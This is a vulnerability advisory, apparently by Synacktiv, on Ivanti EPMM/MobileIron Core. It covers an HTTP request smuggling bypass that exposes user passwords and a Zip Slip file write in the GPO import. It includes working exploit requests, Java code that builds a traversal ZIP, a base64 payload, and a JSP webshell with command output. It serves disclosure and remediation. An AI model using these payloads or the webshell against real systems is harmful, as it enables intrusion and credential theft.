Ivanti EPMM / MobileIron Core - Multiple Vulnerabilities
05/06/2024 - Download
Product
Ivanti EPMM / MobileIron Core
Severity
Critical
Fixed Version(s)
N/A
Affected Version(s)
CVE Number
N/A
Authors
Description
Presentation
Ivanti EPMM (Endpoint Manager Mobile), formerly known as MobileIron Core, is a mobile management software engine that enables IT to set policies for mobile devices, applications, and content. This product enables mobile device management, mobile application management, and mobile content management capabilities.
Issue(s)
Synacktiv discovered multiple vulnerabilities in Ivanti EPMM:
- An HTTP Request Smuggling issue that could be used to bypass access controls to reach Hessian service in order to gain unauthorized access to sensitive data.
- A Remote Arbitrary File Write affecting an administrative feature that could be leveraged to write malicious files on the server.
Both vulnerabilities can be chained by unauthenticated attackers to remotely compromise appliances.
Affected versions
The request smuggling vulnerability was initially discovered on a version 11.4.0.0 of MobileIron. Additional tests revealed that version 11.8.0.0-29 is also impacted, anterior or superior releases are likely to be vulnerable as well.
Version 11.10.0.2-6 is impacted by the arbitrary file write issue.
Timeline
Date | Description |
---|---|
2023.08.02 | Advisory sent to security@ivanti.com |
2023.08.07 | Follow-up message sent to the vendor |
2023.08.08 | Ivanti answers that the first vulnerability was previously resolved by updating Apache httpd in recent versions and the second one is confirmed as exploitable and will be patched |
2023.09.02 | Follow-up message sent to the vendor |
2023.10.01 | Follow-up message sent to the vendor |
2024.02.16 | Follow-up message sent to the vendor |
2024.06.05 | Public Release |
Technical details
HTTP Request Smuggling
Description
The MobileIron Core versions built before April 2023 are shipped with an Apache httpd
package vulnerable to CVE-2023-25690.
Some mod_proxy configurations on Apache HTTP Server versions 2.4.0 through 2.4.55 allow a HTTP Request Smuggling attack.
On the 2.4.x branch used by MobileIron, the issue affects versions inferior or equal to 2.4.6-97.
$ cat /mi/platform-version-info.txt
CORE 11.8.0.0 Build 29 (Branch core-11.8.0.0)
$ rpm -qi httpd
Name : httpd
Version : 2.4.6
Release : 97.el7.centos.5
Architecture: x86_64
Install Date: Tue 01 Aug 2023 07:16:50 AM UTC
Group : System Environment/Daemons
Size : 9821136
License : ASL 2.0
Signature : RSA/SHA256, Thu 24 Mar 2022 06:21:56 PM UTC, Key ID 24c6a8a7f4a80eb5
Source RPM : httpd-2.4.6-97.el7.centos.5.src.rpm
Build Date : Thu 24 Mar 2022 02:59:42 PM UTC
[...]
Moreover, the MIFS portal section in the Apache configuration presents multiple rewrite rules which permit the request smuggling. Three specific paths (/ca
, /status
and /oauth
) could be used to smuggle request to the /mifs/services
endpoint. The latter exposes Hessian services which are sensitive and do not require authentication. Therefore, a rewrite rule is defined to deny access.
$ cat /etc/httpd/conf.d/ssl.conf
# Portal Service
<VirtualHost _default_:443>
[...]
# For backwards compat with existing Local CAs.
RewriteRule ^/ca/(.*)$ /mifs/ca/$1 [PT]
# For convenience/backwards compat with existing deployments
RewriteRule ^/status/(.*)$ /mifs/status/$1 [PT]
# OAuth2 endpoints
RewriteRule ^/oauth/(.*)$ /mifs/o/oauth/$1 [PT]
[...]
# Deny all other services
RewriteCond %{REQUEST_URI} !.*mifs/admin/rest/api/v2/policy/filevault2recovery /setrecoverykey$
RewriteCond %{HTTP_REFERER} ^$
RewriteCond %{REQUEST_METHOD} (POST)
RewriteRule ^/mi.s/.* - [F]
RewriteRule ^/mifs/services - [F]
The following request can be used to smuggle a call to the getAllUsers
method of the Hessian UserService
.
GET /ca/smuggle%3fa%20HTTP/1.1%0aUser-Agent:Mozilla%0aHost:127.0.0.1%0a%0aPOST%20/mifs/services/UserService%20HTTP/1.1%0aA:B HTTP/1.1
Host: mdm.local
User-Agent: Mozilla
X-Forwarded-For: 127.0.0.1
Content-Type: application/x-hessian
Content-Length: 43
<@d_base64>QwtnZXRBbGxVc2Vyc5A=<@/d_base64>
When proxified, the request is processed as two HTTP messages by the backend Tomcat server.
01-Aug-2023 09:44:11.988 FINE [http-nio-127.0.0.1-8081-exec-2] org.apache.coyote.http11.Http11InputBuffer.fill Received [GET /mifs/ca/smuggle?a HTTP/1.1
User-Agent:Mozilla
Host:127.0.0.1
POST /mifs/services/UserService HTTP/1.1
A:B HTTP/1.1
Host: mdm.local
User-Agent: Mozilla
X-Forwarded-For: 127.0.0.1, 192.168.59.1
Content-Type: application/x-hessian
X-MobileIron-Request-Line: GET /ca/smuggle%3fa%20HTTP/1.1%0aUser-Agent:Mozilla%0aHost:127.0.0.1%0a%0aPOST%20/mifs/services/UserService%20HTTP/1.1%0aA:B HTTP/1.1
X-Forwarded-Host: mdm.local
X-Forwarded-Server: mdm.local
Connection: Keep-Alive
Content-Length: 14
C
getAllUsers
Since a desynchronization occurs, additional requests need to be issued to retrieve the response to the smuggled message.
The vulnerability was silently fixed through the automatic update of the httpd
package in the recent versions.
Impact
Request smuggling allows an attacker to bypass security controls defined on the frontend server and gain unauthorized access to sensitive endpoints. In the case of the MIFS portal, they can reach the Hessian service anonymously and call administrative features such as:
getLDAPConfigs
atLDAPService
getAllUsers
atUserService
retrieveUserPassword(<USERNAME>)
atUserService
Consequently, these services can be abused to compromise administrative credentials by calling first the getAllUsers
method to retrieve PII of users then feed the obtained usernames to the retrieveUserPassword
method to collect plaintext passwords.
Remote Arbitrary File Write via archive extraction (Zip Slip) in the GPO import feature
Description
The MIFS portal exposes an administrative GPO import feature at /mifs/rest/api/v2/component/gpo/import
. This function requires a valid admin session and extracts the ZIP package delivered through a multipart
request.
The importAdmxPackage
method defined in the GpoController
class relies on a custom ZipUtils
class to process the archive.
// component-gpo-*.jar
package com.mobileiron.component.windows.gpo.rest;
[...]
import com.mobileiron.polaris.common.utils.ZipUtils;
[...]
@RestController
@RequestMapping(path = {"/api/v2/component/gpo"}, produces = {"application/json"})
@Validated
class GpoController {
[...]
@PostMapping({"/import"})
@PreAuthorize("@gpoSecurityExpressions.canUploadAdmx()")
WebResponse<MessageKey> importAdmxPackage(@RequestParam("admxZipPackage") MultipartFile admxPackage) throws IOException {
Collection<File> toBeDeleted = new ArrayList<>(2);
try {
File zipFile = Files.createTempFile("", "", (FileAttribute<?>[])new FileAttribute[0]).toFile();
toBeDeleted.add(zipFile);
admxPackage.transferTo(zipFile);
File folder = ZipUtils.extract(zipFile);
toBeDeleted.add(folder);
this.admxIngest.ingestAdmxPackages(folder.toPath(), false);
} finally {
this.scheduler.schedule(() -> toBeDeleted.forEach(FileUtils::deleteQuietly), new Date());
}
return new SuccessWebResponse<>(new MessageKey("gpo.import.success"), true);
}
[...]
The latter implements the extract
method, which is vulnerable to Zip Slip attacks. Indeed, to build the destination path, it uses the archive entry names without any form of sanitization. Therefore, arbitrary files can be written on the system with specially crafted archives.
// polaris-common-*.jar
package com.mobileiron.polaris.common.utils;
public final class ZipUtils {
[...]
public static File extract(File inputZip) throws IOException {
File destinationDirectory = DirUtils.createTempDir(inputZip.getName());
ZipFile zipFile = new ZipFile(inputZip);
try {
Enumeration<ZipArchiveEntry> zipEntries = zipFile.getEntries();
while (zipEntries.hasMoreElements()) {
ZipArchiveEntry zipEntry = zipEntries.nextElement();
LOG.debug("Processing zip entry: " + zipEntry.getName());
File destination = new File(destinationDirectory, zipEntry.getName());
if (zipEntry.isDirectory()) {
LOG.debug("Creating directory: " + destination.getAbsolutePath());
FileUtils.forceMkdir(destination);
continue;
}
FileUtils.forceMkdir(destination.getParentFile());
LOG.debug("Writing entry to file: " + destination.getAbsolutePath());
FileUtils.copyInputStreamToFile(zipFile.getInputStream(zipEntry), destination);
}
} finally {
zipFile.close();
}
return destinationDirectory;
}
}
To build such ZIP archive, the following code may be used.
import java.util.zip.ZipOutputStream;
import java.util.zip.ZipEntry;
import java.io.ByteArrayOutputStream;
import java.io.FileInputStream;
import java.io.File;
import java.io.ByteArrayInputStream;
import java.util.Base64;
import java.io.FileWriter;
import java.io.BufferedWriter;
// files are created in : /mi/tomcat/temp/[UUID]
class genZip {
public static byte[] readFile(String filename) {
File file = new File(filename);
byte[] bytes = new byte[(int) file.length()];
try(FileInputStream fis = new FileInputStream(file)) {
fis.read(bytes);
return bytes;
} catch (Exception e) {
System.out.println("Failed to read file " + filename);
System.out.println(e);
return "".getBytes();
}
}
public static void main(String[] args) {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ZipOutputStream outzip = new ZipOutputStream(baos);
String root_dir = "../../../../";
String mifs_root_dir = root_dir + "mi/tomcat/webapps/mifs/css/";
String[] files = {"exploit.css"};
try {
for (String filename : files) {
outzip.putNextEntry(new ZipEntry(mifs_root_dir + filename));
byte[] data = readFile("./zipit/"+filename);
outzip.write(data, 0, data.length);
System.out.println("Added " + filename + " - len="+data.length);
}
outzip.close();
String outzip_b64 = new String(Base64.getEncoder().encodeToString(baos.toByteArray()));
System.out.println(outzip_b64);
BufferedWriter writer = new BufferedWriter(new FileWriter("./genZip.out"));
writer.write(outzip_b64);
writer.close();
} catch (Exception e) {
}
}
}
In the following example, the archive holds a directory traversal payload aiming to create an exploit.css
file at the webroot of the MIFS portal.
$ mkdir zipit && echo 'ItWorks!' > zipit/exploit.css
$ javac genZip.java && java genZip
Added exploit.css - len=9
UEsDBBQACAgIAFgdAlcAAAAAAAAAAAAAAAAyAAAALi4vLi4vLi4vLi4vbWkvdG9tY2F0L3dlYmFwcHMvbWlmcy9jc3MvZXhwbG9pdC5jc3PzLAnPL8ouVuQCAFBLBwh3vTr2CwAAAAkAAABQSwECFAAUAAgICABYHQJXd7069gsAAAAJAAAAMgAAAAAAAAAAAAAAAAAAAAAALi4vLi4vLi4vLi4vbWkvdG9tY2F0L3dlYmFwcHMvbWlmcy9jc3MvZXhwbG9pdC5jc3NQSwUGAAAAAAEAAQBgAAAAawAAAAAA
$ cat genZip.out | base64 -d > payload.zip
$ unzip -l payload.zip
Archive: payload.zip
Length Date Time Name
--------- ---------- ----- ----
9 2023-07-31 20:14 ../../../../mi/tomcat/webapps/mifs/css/exploit.css
--------- -------
9 1 file
By issuing the following request, the vulnerable import can be triggered.
POST /mifs/rest/api/v2/component/gpo/import HTTP/1.1
Host: mdm.local
User-Agent: Mozilla
Referer: http://mdm.local/
Authorization: Basic <@base64>admin:***<@/base64>
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypfRX8ZSfuNbbRKwx
Content-Length: 489
------WebKitFormBoundarypfRX8ZSfuNbbRKwx
Content-Disposition: form-data; name="admxZipPackage"; filename="admxZipPackage"
<@d_base64>UEsDBBQACAgIAFgdAlcAAAAAAAAAAAAAAAAyAAAALi4vLi4vLi4vLi4vbWkvdG9tY2F0L3dlYmFwcHMvbWlmcy9jc3MvZXhwbG9pdC5jc3PzLAnPL8ouVuQCAFBLBwh3vTr2CwAAAAkAAABQSwECFAAUAAgICABYHQJXd7069gsAAAAJAAAAMgAAAAAAAAAAAAAAAAAAAAAALi4vLi4vLi4vLi4vbWkvdG9tY2F0L3dlYmFwcHMvbWlmcy9jc3MvZXhwbG9pdC5jc3NQSwUGAAAAAAEAAQBgAAAAawAAAAAA<@/d_base64>
------WebKitFormBoundarypfRX8ZSfuNbbRKwx--
---
HTTP/1.1 200
[...]
{"errors":null,"result":"Admx package successfully ingested","success":true}
Finally, the newly created file can be reached anonymously to confirm the exploit.
$ curl -k https://mdm.local/mifs/css/exploit.css
It Works!
$ ssh admin@mdm.local 'cat /mi/platform-version-info.txt; ls -lah /mi/tomcat/webapps/mifs/css/exploit.css'
EPMM 11.10.0.2 Build 6 (Branch core-11.10.0.2)
-rw-r--r-- 1 tomcat tomcat 9 Jul 31 18:01 /mi/tomcat/webapps/mifs/css/exploit.css
The vulnerability affects the latest version 11.10.0.2-6 available at the time of writing.
Impact
The vulnerability can be exploited to corrupt files used by the application or the underlying operating system.
To obtain remote code execution capabilities, a JSP webshell could be dropped at the webroot.
$ cat zipit/session.jsp
<%@ page import="java.util.*,java.io.*"%>
<%@ page trimDirectiveWhitespaces="true"%>
<%
if (request.getHeader("WS") != null) {
String kp = request.getHeader("WS");
out.println("$> " + kp);
Process p = Runtime.getRuntime().exec(new String[]{"bash", "-c", kp});
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
return;
}
%>
$ cat zipit/401.jsp
<%@ include file="baseURL.jsp"%>
<%@ include file="session.jsp"%>
<%
response.addHeader("WWW-Authenticate", "BASIC realm=\"Spring Security Application\"");
response.setStatus(HttpServletResponse.SC_UNAUTHORIZED);
%>
<html>
<head>
<title>401 Error - Authentication Failed</title>
</head>
<body>
<h1>401 - Authentication Failed</h1>
<p>
<blockquote>
The URL you've requested requires a correct username and password. You entered an incorrect
username/password
<p>
</blockquote>
</body>
</html>
$ unzip -l payload.zip
Archive: payload.zip
Length Date Time Name
--------- ---------- ----- ----
609 2023-08-01 10:16 ../../../../mi/tomcat/webapps/mifs/session.jsp
564 2023-08-01 10:16 ../../../../mi/tomcat/webapps/mifs/401.jsp
--------- -------
1173 2 files
The commands are executed in the context of the tomcat
user.
GET /mifs/401.jsp HTTP/1.1
Host: mdm.local
User-Agent: Mozilla
WS: id;cat /mi/platform-version-info.txt
---
HTTP/1.1 200
[...]
$> id;cat /mi/platform-version-info.txt
uid=101(tomcat) gid=102(tomcat) groups=102(tomcat)
EPMM 11.10.0.2 Build 6 (Branch core-11.10.0.2)
Recommendation
Validate the paths constructed from untrusted archive entry names.
The File.getCanonicalPath
should be used on the constructed destination file to remove any ../
sequence. Then, check that the returned canonical path is within the intended extraction directory.